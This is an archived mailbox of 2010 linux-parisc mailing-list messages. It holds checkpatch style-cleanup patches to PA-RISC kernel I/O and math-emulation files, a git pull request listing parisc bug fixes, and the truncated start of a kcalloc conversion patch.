arch/parisc/lib/io.c:392: ERROR: code indent should use tabs where possible
arch/parisc/lib/io.c:395: WARNING: space prohibited between function name and open parenthesis '('
arch/parisc/lib/io.c:397: ERROR: trailing whitespace
arch/parisc/lib/io.c:408: WARNING: space prohibited between function name and open parenthesis '('
arch/parisc/lib/io.c:414: ERROR: trailing whitespace
arch/parisc/lib/io.c:417: ERROR: trailing whitespace
arch/parisc/lib/io.c:418: ERROR: that open brace { should be on the previous line
arch/parisc/lib/io.c:421: ERROR: that open brace { should be on the previous line
arch/parisc/lib/io.c:427: ERROR: trailing whitespace
arch/parisc/lib/io.c:430: ERROR: trailing whitespace
arch/parisc/lib/io.c:433: ERROR: trailing whitespace
arch/parisc/lib/io.c:434: ERROR: that open brace { should be on the previous line
arch/parisc/lib/io.c:438: WARNING: space prohibited between function name and open parenthesis '('
arch/parisc/lib/io.c:442: WARNING: space prohibited between function name and open parenthesis '('
arch/parisc/lib/io.c:452: ERROR: that open brace { should be on the previous line
arch/parisc/lib/io.c:456: WARNING: space prohibited between function name and open parenthesis '('
arch/parisc/lib/io.c:460: WARNING: space prohibited between function name and open parenthesis '('
arch/parisc/lib/io.c:464: ERROR: trailing whitespace
arch/parisc/lib/io.c:468: ERROR: that open brace { should be on the previous line
arch/parisc/lib/io.c:472: WARNING: space prohibited between function name and open parenthesis '('
arch/parisc/lib/io.c:478: WARNING: space prohibited between function name and open parenthesis '('

Signed-off-by: Andrea Gelmini <andrea.gelmini@gelma.net>
---
 arch/parisc/lib/io.c |  155 ++++++++++++++++++++++----------------------------
 1 files changed, 68 insertions(+), 87 deletions(-)

diff --git a/arch/parisc/lib/io.c b/arch/parisc/lib/io.c
index 7c1406f..c6c9ddb 100644
--- a/arch/parisc/lib/io.c
+++ b/arch/parisc/lib/io.c
@@ -52,7 +52,7 @@ void memcpy_toio(volatile void __iomem *dst, const void *src, int count)
 */
 void memcpy_fromio(void *dst, const volatile void __iomem *src, int count)
 {
-	/* first compare alignment of src/dst */ 
+	/* first compare alignment of src/dst */
 	if ( (((unsigned long)dst ^ (unsigned long)src) & 1) || (count < 2) )
 		goto bytecopy;
 
@@ -114,16 +114,15 @@ void memset_io(volatile void __iomem *addr, unsigned char val, int count)
 		addr += 4;
 		count -= 4;
 	}
-	while (count--) {
+	while (count--)
 		writeb(val, addr++);
-	}
 }
 
 /*
  * Read COUNT 8-bit bytes from port PORT into memory starting at
  * SRC.
  */
-void insb (unsigned long port, void *dst, unsigned long count)
+void insb(unsigned long port, void *dst, unsigned long count)
 {
 	unsigned char *p;
 
@@ -163,60 +162,56 @@ void insb (unsigned long port, void *dst, unsigned long count)
  * the interfaces seems to be slow: just using the inlined version
  * of the inw() breaks things.
  */
-void insw (unsigned long port, void *dst, unsigned long count)
+void insw(unsigned long port, void *dst, unsigned long count)
 {
 	unsigned int l = 0, l2;
 	unsigned char *p;
 
 	p = (unsigned char *)dst;
-	
+
 	if (!count)
 		return;
-	
-	switch (((unsigned long)p) & 0x3)
-	{
+
+	switch (((unsigned long)p) & 0x3) {
 	 case 0x00:			/* Buffer 32-bit aligned */
-		while (count>=2) {
-			
+		while (count >= 2) {
+
 			count -= 2;
 			l = cpu_to_le16(inw(port)) << 16;
 			l |= cpu_to_le16(inw(port));
 			*(unsigned int *)p = l;
 			p += 4;
 		}
-		if (count) {
+		if (count)
 			*(unsigned short *)p = cpu_to_le16(inw(port));
-		}
 		break;
-	
+
 	 case 0x02:			/* Buffer 16-bit aligned */
 		*(unsigned short *)p = cpu_to_le16(inw(port));
 		p += 2;
 		count--;
 		while (count>=2) {
-			
+
 			count -= 2;
 			l = cpu_to_le16(inw(port)) << 16;
 			l |= cpu_to_le16(inw(port));
 			*(unsigned int *)p = l;
 			p += 4;
 		}
-		if (count) {
+		if (count)
 			*(unsigned short *)p = cpu_to_le16(inw(port));
-		}
 		break;
-		
+
 	 case 0x01:			/* Buffer 8-bit aligned */
 	 case 0x03:
 		/* I don't bother with 32bit transfers
 		 * in this case, 16bit will have to do -- DE */
 		--count;
-		
+
 		l = cpu_to_le16(inw(port));
 		*p = l >> 8;
 		p++;
-		while (count--)
-		{
+		while (count--) {
 			l2 = cpu_to_le16(inw(port));
 			*(unsigned short *)p = (l & 0xff) << 8 | (l2 >> 8);
 			p += 2;
@@ -235,35 +230,32 @@ void insw (unsigned long port, void *dst, unsigned long count)
  * but the interfaces seems to be slow: just using the inlined version
  * of the inl() breaks things.
  */
-void insl (unsigned long port, void *dst, unsigned long count)
+void insl(unsigned long port, void *dst, unsigned long count)
 {
 	unsigned int l = 0, l2;
 	unsigned char *p;
 
 	p = (unsigned char *)dst;
-	
+
 	if (!count)
 		return;
-	
-	switch (((unsigned long) dst) & 0x3)
-	{
+
+	switch (((unsigned long) dst) & 0x3) {
 	 case 0x00:			/* Buffer 32-bit aligned */
-		while (count--)
-		{
+		while (count--) {
 			*(unsigned int *)p = cpu_to_le32(inl(port));
 			p += 4;
 		}
 		break;
-	
+
 	 case 0x02:			/* Buffer 16-bit aligned */
 		--count;
-		
+
 		l = cpu_to_le32(inl(port));
 		*(unsigned short *)p = l >> 16;
 		p += 2;
-		
-		while (count--)
-		{
+
+		while (count--) {
 			l2 = cpu_to_le32(inl(port));
 			*(unsigned int *)p = (l & 0xffff) << 16 | (l2 >> 16);
 			p += 4;
@@ -273,14 +265,13 @@ void insl (unsigned long port, void *dst, unsigned long count)
 		break;
 	 case 0x01:			/* Buffer 8-bit aligned */
 		--count;
-		
+
 		l = cpu_to_le32(inl(port));
 		*(unsigned char *)p = l >> 24;
 		p++;
 		*(unsigned short *)p = (l >> 8) & 0xffff;
 		p += 2;
-		while (count--)
-		{
+		while (count--) {
 			l2 = cpu_to_le32(inl(port));
 			*(unsigned int *)p = (l & 0xff) << 24 | (l2 >> 8);
 			p += 4;
@@ -290,12 +281,11 @@ void insl (unsigned long port, void *dst, unsigned long count)
 		break;
 	 case 0x03:			/* Buffer 8-bit aligned */
 		--count;
-		
+
 		l = cpu_to_le32(inl(port));
 		*p = l >> 24;
 		p++;
-		while (count--)
-		{
+		while (count--) {
 			l2 = cpu_to_le32(inl(port));
 			*(unsigned int *)p = (l & 0xffffff) << 8 | l2 >> 24;
 			p += 4;
@@ -315,7 +305,7 @@ void insl (unsigned long port, void *dst, unsigned long count)
  * doing byte reads the "slow" way isn't nearly as slow as
  * doing byte writes the slow way (no r-m-w cycle).
  */
-void outsb(unsigned long port, const void * src, unsigned long count)
+void outsb(unsigned long port, const void *src, unsigned long count)
 {
 	const unsigned char *p;
 
@@ -333,68 +323,64 @@ void outsb(unsigned long port, const void * src, unsigned long count)
  * interfaces seems to be slow: just using the inlined version of the
  * outw() breaks things.
  */
-void outsw (unsigned long port, const void *src, unsigned long count)
+void outsw(unsigned long port, const void *src, unsigned long count)
 {
 	unsigned int l = 0, l2;
 	const unsigned char *p;
 
 	p = (const unsigned char *)src;
-	
+
 	if (!count)
 		return;
-	
-	switch (((unsigned long)p) & 0x3)
-	{
+
+	switch (((unsigned long)p) & 0x3) {
 	 case 0x00:			/* Buffer 32-bit aligned */
-		while (count>=2) {
+		while (count >= 2) {
 			count -= 2;
 			l = *(unsigned int *)p;
 			p += 4;
 			outw(le16_to_cpu(l >> 16), port);
 			outw(le16_to_cpu(l & 0xffff), port);
 		}
-		if (count) {
-			outw(le16_to_cpu(*(unsigned short*)p), port);
-		}
+		if (count)
+			outw(le16_to_cpu(*(unsigned short *)p), port);
 		break;
-	
+
 	 case 0x02:			/* Buffer 16-bit aligned */
-		
-		outw(le16_to_cpu(*(unsigned short*)p), port);
+
+		outw(le16_to_cpu(*(unsigned short *)p), port);
 		p += 2;
 		count--;
-		
-		while (count>=2) {
+
+		while (count >= 2) {
 			count -= 2;
 			l = *(unsigned int *)p;
 			p += 4;
 			outw(le16_to_cpu(l >> 16), port);
 			outw(le16_to_cpu(l & 0xffff), port);
 		}
-		if (count) {
+		if (count)
 			outw(le16_to_cpu(*(unsigned short *)p), port);
-		}
 		break;
-		
-	 case 0x01:			/* Buffer 8-bit aligned */	
+
+	 case 0x01:			/* Buffer 8-bit aligned */
 		/* I don't bother with 32bit transfers
 		 * in this case, 16bit will have to do -- DE */
-		
+
 		l  = *p << 8;
 		p++;
 		count--;
-		while (count)
-		{
+		while (count) {
 			count--;
 			l2 = *(unsigned short *)p;
 			p += 2;
 			outw(le16_to_cpu(l | l2 >> 8), port);
-		        l = l2 << 8;
+			l = l2 << 8;
 		}
 		l2 = *(unsigned char *)p;
-		outw (le16_to_cpu(l | l2>>8), port);
+		outw(le16_to_cpu(l | l2>>8), port);
 		break;
-	
+
 	}
 }
 
@@ -405,41 +391,38 @@ void outsw (unsigned long port, const void *src, unsigned long count)
  *  Performance is important, but the interfaces seems to be slow:
  * just using the inlined version of the outl() breaks things.
  */
-void outsl (unsigned long port, const void *src, unsigned long count)
+void outsl(unsigned long port, const void *src, unsigned long count)
 {
 	unsigned int l = 0, l2;
 	const unsigned char *p;
 
 	p = (const unsigned char *)src;
-	
+
 	if (!count)
 		return;
-	
-	switch (((unsigned long)p) & 0x3)
-	{
+
+	switch (((unsigned long)p) & 0x3) {
 	 case 0x00:			/* Buffer 32-bit aligned */
-		while (count--)
-		{
+		while (count--) {
 			outl(le32_to_cpu(*(unsigned int *)p), port);
 			p += 4;
 		}
 		break;
-	
+
 	 case 0x02:			/* Buffer 16-bit aligned */
 		--count;
-		
+
 		l = *(unsigned short *)p;
 		p += 2;
-		
-		while (count--)
-		{
+
+		while (count--) {
 			l2 = *(unsigned int *)p;
 			p += 4;
-			outl (le32_to_cpu(l << 16 | l2 >> 16), port);
+			outl(le32_to_cpu(l << 16 | l2 >> 16), port);
 			l = l2;
 		}
 		l2 = *(unsigned short *)p;
-		outl (le32_to_cpu(l << 16 | l2), port);
+		outl(le32_to_cpu(l << 16 | l2), port);
 		break;
 	 case 0x01:			/* Buffer 8-bit aligned */
 		--count;
@@ -449,33 +432,31 @@ void outsl (unsigned long port, const void *src, unsigned long count)
 		l |= *(unsigned short *)p << 8;
 		p += 2;
 
-		while (count--)
-		{
+		while (count--) {
 			l2 = *(unsigned int *)p;
 			p += 4;
-			outl (le32_to_cpu(l | l2 >> 24), port);
+			outl(le32_to_cpu(l | l2 >> 24), port);
 			l = l2 << 8;
 		}
 		l2 = *p;
-		outl (le32_to_cpu(l | l2), port);
+		outl(le32_to_cpu(l | l2), port);
 		break;
 	 case 0x03:			/* Buffer 8-bit aligned */
 		--count;
-		
+
 		l = *p << 24;
 		p++;
 
-		while (count--)
-		{
+		while (count--) {
 			l2 = *(unsigned int *)p;
 			p += 4;
-			outl (le32_to_cpu(l | l2 >> 8), port);
+			outl(le32_to_cpu(l | l2 >> 8), port);
 			l = l2 << 24;
 		}
 		l2 = *(unsigned short *)p << 16;
 		p += 2;
 		l2 |= *p;
-		outl (le32_to_cpu(l | l2), port);
+		outl(le32_to_cpu(l | l2), port);
 		break;
 	}
 }
-- 
1.7.1.251.gf80a2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Gelmini <andrea.gelmini@gelma.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 176/199] arch/parisc/math-emu/driver.c: Checkpatch cleanup
Date: Sun, 23 May 2010 22:02:03 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <1274644930-26600-19-git-send-email-andrea.gelmini@gelma.net>
References: <1274644930-26600-1-git-send-email-andrea.gelmini@gelma.net>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1274644974 5618 80.91.229.12 (23 May 2010 20:02:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 23 May 2010 20:02:54 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: andrea.gelmini@gelma.net
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 23 22:02:52 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OGHNr-0003OA-Gq
	for glpp-linux-parisc@lo.gmane.org; Sun, 23 May 2010 22:02:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753039Ab0EWUCv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 23 May 2010 16:02:51 -0400
Original-Received: from fg-out-1718.google.com ([72.14.220.153]:10127 "EHLO
	fg-out-1718.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754540Ab0EWUCu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 23 May 2010 16:02:50 -0400
Original-Received: by fg-out-1718.google.com with SMTP id d23so1668454fga.1
        for <linux-parisc@vger.kernel.org>; Sun, 23 May 2010 13:02:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:from:to:cc:subject
         :date:message-id:x-mailer:in-reply-to:references;
        bh=oLD4rqT1IMCQKflT1an8aolEeoOfG1OE3fCkHpInghI=;
        b=il0GMEWv/IR5hgdos40nhhcH1mkoJpBHETkpRrX1kdXBpiF9BDaKPz7ztT1i1wBdK3
         wCucp2avjFKYUL3FtFf9/7233d3XL7YrRTxD8Wb31d7v+dd2WgI8SfY/MbFtyxAmDUMA
         ccE0JyBvud/PlIROGJygwPWu60XcGm2fktboM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        b=qGTUFOi1AflaK+KB1FFy88fH/GfbdeG9wCOS7Vic7lwqsfnzimVZiVXw4gZpdaqNP8
         VPUS3hrhmI3VVebUAvQNaLeEBOUJL035suXhd4w+tuiSZncRscnHfFQWu8rut4gsIc22
         UkvL3KAqdAsEtnaVDuvG9cn7w7EuNnlVHUrA8=
Original-Received: by 10.87.47.17 with SMTP id z17mr7190046fgj.39.1274644969965;
        Sun, 23 May 2010 13:02:49 -0700 (PDT)
Original-Received: from localhost.localdomain (net-93-145-200-9.t2.dsl.vodafone.it [93.145.200.9])
        by mx.google.com with ESMTPS id d8sm7928329fga.11.2010.05.23.13.02.48
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sun, 23 May 2010 13:02:49 -0700 (PDT)
X-Mailer: git-send-email 1.7.1.251.gf80a2
In-Reply-To: <1274644930-26600-1-git-send-email-andrea.gelmini@gelma.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2880
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2880>

arch/parisc/math-emu/driver.c:90: ERROR: trailing whitespace
arch/parisc/math-emu/driver.c:118: WARNING: suspect code indent for conditional statements (8, 12)

Signed-off-by: Andrea Gelmini <andrea.gelmini@gelma.net>
---
 arch/parisc/math-emu/driver.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/math-emu/driver.c b/arch/parisc/math-emu/driver.c
index 09ef413..273006e 100644
--- a/arch/parisc/math-emu/driver.c
+++ b/arch/parisc/math-emu/driver.c
@@ -87,7 +87,7 @@ handle_fpe(struct pt_regs *regs)
 	 * code expects an artificial last entry which contains zero
 	 *
 	 * also, the passed in fr registers contain one word that defines
-	 * the fpu type. the fpu type information is constructed 
+	 * the fpu type. the fpu type information is constructed
 	 * inside the emulation code
 	 */
 	__u64 frcopy[36];
-- 
1.7.1.251.gf80a2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Gelmini <andrea.gelmini@gelma.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 177/199] arch/parisc/math-emu/fpbits.h: Checkpatch cleanup
Date: Sun, 23 May 2010 22:02:04 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <1274644930-26600-20-git-send-email-andrea.gelmini@gelma.net>
References: <1274644930-26600-1-git-send-email-andrea.gelmini@gelma.net>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1274644975 5620 80.91.229.12 (23 May 2010 20:02:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 23 May 2010 20:02:55 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: andrea.gelmini@gelma.net
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 23 22:02:53 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OGHNt-0003OA-9w
	for glpp-linux-parisc@lo.gmane.org; Sun, 23 May 2010 22:02:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753919Ab0EWUCw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 23 May 2010 16:02:52 -0400
Original-Received: from fg-out-1718.google.com ([72.14.220.152]:63216 "EHLO
	fg-out-1718.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753676Ab0EWUCw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 23 May 2010 16:02:52 -0400
Original-Received: by fg-out-1718.google.com with SMTP id 22so1027848fge.1
        for <linux-parisc@vger.kernel.org>; Sun, 23 May 2010 13:02:51 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:from:to:cc:subject
         :date:message-id:x-mailer:in-reply-to:references;
        bh=svqi4+8K5OL84472MhSo0SQ+4mM3/5kIeI14EAZ5pyw=;
        b=fhpxpWxb2kgWZG5SgFDL9cFjI2RB0eC/m/FxjVrGG3m0LQ11rIjb2ckJOoOYW7RMEQ
         a6aeIw2NPyVE5Q1HMUr5JdaZyHOFQE1fAqLRxT/K6TGhgDJ6hd1w3AYaJp9+jxd5v2p7
         jZdhMHjeCyrsP+BTymPtLEJtd6gAgeQaU75Xk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        b=XQQGsxgBjon5ZG1wlP+nEOIG/TN0PPiYZunYyYZ8pNvpRFEg9rfPIRLau1aCRUEoMA
         qmruvwhH6D42JL3e9dcalhUt21XRKv03yjZZodA+BYDoEZB1xZYMXwu3ZAM3/V7/Cn9Q
         ZT1urwxlkcRReLAJoWvSGZyZnSMsdznubkpWQ=
Original-Received: by 10.87.71.21 with SMTP id y21mr7170346fgk.69.1274644971755;
        Sun, 23 May 2010 13:02:51 -0700 (PDT)
Original-Received: from localhost.localdomain (net-93-145-200-9.t2.dsl.vodafone.it [93.145.200.9])
        by mx.google.com with ESMTPS id d8sm7928329fga.11.2010.05.23.13.02.50
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sun, 23 May 2010 13:02:51 -0700 (PDT)
X-Mailer: git-send-email 1.7.1.251.gf80a2
In-Reply-To: <1274644930-26600-1-git-send-email-andrea.gelmini@gelma.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2881
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2881>

arch/parisc/math-emu/fpbits.h:51: ERROR: trailing whitespace

Signed-off-by: Andrea Gelmini <andrea.gelmini@gelma.net>
---
 arch/parisc/math-emu/fpbits.h |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/math-emu/fpbits.h b/arch/parisc/math-emu/fpbits.h
index cefad06..431b571 100644
--- a/arch/parisc/math-emu/fpbits.h
+++ b/arch/parisc/math-emu/fpbits.h
@@ -48,7 +48,7 @@
  * function "DeclBitfR" except its use is restricted to occur within a larger
  * enclosing structure or union definition.  This declaration is an unnamed
  * structure with the argument, name, as the member name and the argument,
- * uname, as the element name. 
+ * uname, as the element name.
  *----------------------------------------------------------------------- */
 #define Bitfield_extract(start, length, object) 	\
     ((object) >> (HOSTWDSZ - (start) - (length)) & 	\
-- 
1.7.1.251.gf80a2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:05:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git patches] bugfixes for parisc for 2.6.35
Date: Sun, 30 May 2010 09:59:19 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <20100530095919.GA30169@hera.kernel.org>
Reply-To: kyle@mcmartin.ca
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1275213565 17491 80.91.229.12 (30 May 2010 09:59:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 30 May 2010 09:59:25 +0000 (UTC)
Cc: akpm@linux-foundation.org, linux-parisc@vger.kernel.org
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 30 11:59:24 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OIfIi-0002hQ-1N
	for glpp-linux-parisc@lo.gmane.org; Sun, 30 May 2010 11:59:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751396Ab0E3J7X (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 30 May 2010 05:59:23 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:49501 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750898Ab0E3J7W (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 30 May 2010 05:59:22 -0400
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.3/8.14.3) with ESMTP id o4U9xJS3000893
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Sun, 30 May 2010 09:59:20 GMT
X-Virus-Status: Clean
X-Virus-Scanned: clamav-milter 0.95.2 at hera.kernel.org
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.3/8.14.2/Submit) id o4U9xJwZ000892;
	Sun, 30 May 2010 09:59:19 GMT
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
X-Spam-Status: No, score=0.5 required=5.0 tests=ALL_TRUSTED,BAYES_00,
	DATE_IN_FUTURE_96_Q autolearn=no version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.3 (hera.kernel.org [127.0.0.1]); Sun, 30 May 2010 09:59:20 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2883
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2883>

Hi Linus, just bug fixes this release, doesn't touch anything outside of
arch/parisc.
 --Kyle

The following changes since commit e40152ee1e1c7a63f4777791863215e3faa37a86:

  Linus 2.6.34 (2010-05-16 14:17:36 -0700)

are available in the git repository at:
  hera.kernel.org:/pub/scm/linux/kernel/git/kyle/parisc-2.6.git fixes

Carlos O'Donell (1):
      parisc: Use of align_frame provides stack frame.

Helge Deller (1):
      parisc: clear floating point exception flag on SIGFPE signal

John David Anglin (5):
      parisc: Avoid interruption in critical region in entry.S
      parisc: Delete unnecessary nop's in entry.S
      parisc: LWS fixes for syscall.S
      parisc: Remove unnecessary macros from entry.S
      parisc: Call pagefault_disable/pagefault_enable in kmap_atomic/kunmap_atomic

Nick Piggin (1):
      parisc: invoke oom-killer from page fault

 arch/parisc/include/asm/cacheflush.h |   16 ++++++++--
 arch/parisc/kernel/asm-offsets.c     |   15 +++++++--
 arch/parisc/kernel/entry.S           |   52 ++++++---------------------------
 arch/parisc/kernel/syscall.S         |   32 ++++++---------------
 arch/parisc/math-emu/decode_exc.c    |    1 +
 arch/parisc/mm/fault.c               |    7 ++--
 6 files changed, 47 insertions(+), 76 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:05:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 14/21] drivers/parisc/iosapic.c: Remove unnecessary kzalloc cast
Date: Mon, 31 May 2010 20:23:16 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <ba7d48df75ca37c39b0e519921c116a617e71db7.1275360951.git.joe@perches.com>
References: <cover.1275360951.git.joe@perches.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1275362683 13251 80.91.229.12 (1 Jun 2010 03:24:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 1 Jun 2010 03:24:43 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jun 01 05:24:41 2010
connect(): No such file or directory
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1OJI5l-0001c8-Py
	for glk-linux-kernel-3@lo.gmane.org; Tue, 01 Jun 2010 05:24:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754912Ab0FADXf (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 31 May 2010 23:23:35 -0400
Original-Received: from mail.perches.com ([173.55.12.10]:2473 "EHLO mail.perches.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754766Ab0FADXc (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Mon, 31 May 2010 23:23:32 -0400
Original-Received: from localhost.localdomain (new-host-11.home [192.168.1.151])
	by mail.perches.com (Postfix) with ESMTP id 731A02436E;
	Mon, 31 May 2010 20:23:23 -0700 (PDT)
X-Mailer: git-send-email 1.7.0.3.311.g6a6955
In-Reply-To: <cover.1275360951.git.joe@perches.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:993059 gmane.linux.ports.parisc:2885
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2885>

Convert kzalloc to kcalloc

Signed-off-by: Joe Perches <joe@perches.com>
---
 drivers/parisc/iosapic.c |    4 ++--
 1 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/parisc/iosapic.c b/drivers/parisc/iosapic.c
index c768367..3e6f56c 100644
--- a/drivers/parisc/iosapic.c
+++ b/drivers/parisc/iosapic.c
@@ -891,8 +891,8 @@ void *iosapic_register(unsigned long hpa)
 	isi->isi_version = iosapic_rd_version(isi);
